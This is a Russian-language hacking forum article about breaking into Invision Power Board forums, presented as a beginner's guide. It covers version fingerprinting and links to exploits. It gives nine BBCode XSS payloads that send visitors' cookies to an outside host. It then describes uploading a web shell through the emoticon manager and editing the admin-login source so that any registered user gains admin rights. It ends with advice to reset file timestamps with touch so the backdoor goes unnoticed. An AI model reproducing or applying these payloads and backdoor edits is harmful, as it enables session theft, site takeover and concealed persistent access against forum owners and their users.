Хочется сразу сказать что почти все в этой "статье" принадлежит k1b0rg'у , но из-за флуда некоторых товарищей тема была пропущена мною, и вот она возраждается благодаря челу под ником Nova,который немного подправил эту "статью".Ну и конечно qBiN подредактировав,раскрасив,дав несколько советов пустил в печать

Определение версии форума

Версия Invision Power Board 1.3

Определяеться присутствием папок и файлов:
/html/emoticons/
/fonts/
/Skin/
/ssi_templates/
присутсвтуют файлы
ssi.php
show.php
css.php
conf_mime_types.php
Версия Invision Power Board 2.0.*
Определяеться присутствием папок и файлов:
/sources/help.php
/sources/usercp.php
/sources/trial_functions.php
/sources/topics.php
/sources/taskloader.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: Invision Power Board -> Forbidden

Версия Invision Power Board 2.1.*

Определяеться присутствием папок и файлов:
/ips_kernel/PEAR/
присутствует файлы:
info.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: IBForums-> Forbidden

Exploits

Версия Invision Power Board 1.3.1 http://milw0rm.com/id.php?id=1036
Версия Invision Power Board 1.* , 2.* (<2.0.4) http://rst.void.ru/download/r57ipb2.txt
Версия Invision Power Board 2.0.0 - 2.0.2 http://milw0rm.com/id.php?id=648
Версия Invision Power Board Army System Mod 2.1 http://www.milw0rm.com/exploits/1492
Версия Invision Power Board 2.1.4 (Dos) http://www.milw0rm.com/id.php?id=1489
Версия Invision Power Board <=2.1.5 (Remote code execution)
http://forum.antichat.ru/thread18222.html

XSS Используем указаные коды без знака * он присутствует чтоб данные коды не сработали на этом форуме.

PHP код:
[ema*il]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);` 

PHP код:
[HT*ML][EMA*IL][UR*L=wj`=`][/U*RL][/EM*AIL][/co*lor][color=wh*ite]` style=`backg*round:url(javascript:docu*ment.images   [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/c*olor] 

PHP код:
[EMA*IL]mail@mail.com[U*RL=target

PHP код:
[po*st=1000[to*pic=target style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/to*pic]][/po*st] 

PHP код:
[em*ail]wj@wj.com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);` 

PHP код:
[COLOR=[IМG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie) 

PHP код:
[еm*ail]wj@wj.com[/em*ail] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);` 

PHP код:
[EM*AIL][U*RL=wj`=`][/UR*L][/EM*AIL]]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)` 

PHP код:
[HT*ML][co*lor=white][EM*AIL][U*RL=wj`=`][/url][/EMA*IL][/color]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)` 

Заливаем шелл

Invision Power Board 1.3

"Administration(Администрирование)"->"Manage Emoticons(Управление смайлами)"->"Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)"->"Browse(Обзор)"
Обычно шелл грузица в одну из этих папок,в зависимости от версии,если конечно прав хватает
1.3 /forum/html/emoticons/shell.php
2.* /forum/style_emoticons/default/shell.php
где shell.php имя вашего загруженного шелла.

Invision Power Board 2.0.*

А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем.
ищем такие строки (по дефолту 382 строчка)

Invision Power Board 1.3

PHP код:
if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
$session_validated = 1;
$this_session = $row;

и заменяем на

PHP код:
if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
{

$session_validated = 1;
$this_session = $row;

и ищим строчки (по дефолту 442 строчка)

PHP код:
if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id = md5( uniqid( microtime() ) ); 

заменяем соотвественно на

PHP код:
if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)

{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id = md5( uniqid( microtime() ) ); 

потом редактируем файл /sources/Admin/ad_mysql.php и удаляем строки

PHP код:
if ($MEMBER['mgroup'] != $INFO['admin_group'])
{
$ADMIN->error("Sorry, these functions are for the root admin group only");

Invision Power Board 2.0.*

/sources/action_admin/login.php
по дефолту 147 строчка
удаляем строки

PHP код:
if ($mem['g_access_cp'] != 1)
{
$this->login_form("You do not have access to the administrative CP");
}
else

и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек.
sql.php по дефолту 46 строка:
удаляем

PHP код:
if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");

потом идем сюда
/sources/lib/admin_functions.php (строка 262)
изменяем строку:

PHP код:
$this->ipsclass->admin_session['_session_validated'] = 0; 

меняем на

PHP код:
$this->ipsclass->admin_session['_session_validated'] = 1; 

потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка)

PHP код:
if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");

А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет {
do_login("You do not have access to the administrative CP");
}
то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой
touch -t 200310240921
где 2003 год 10 месяц 24 число 09:21 часов
советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же.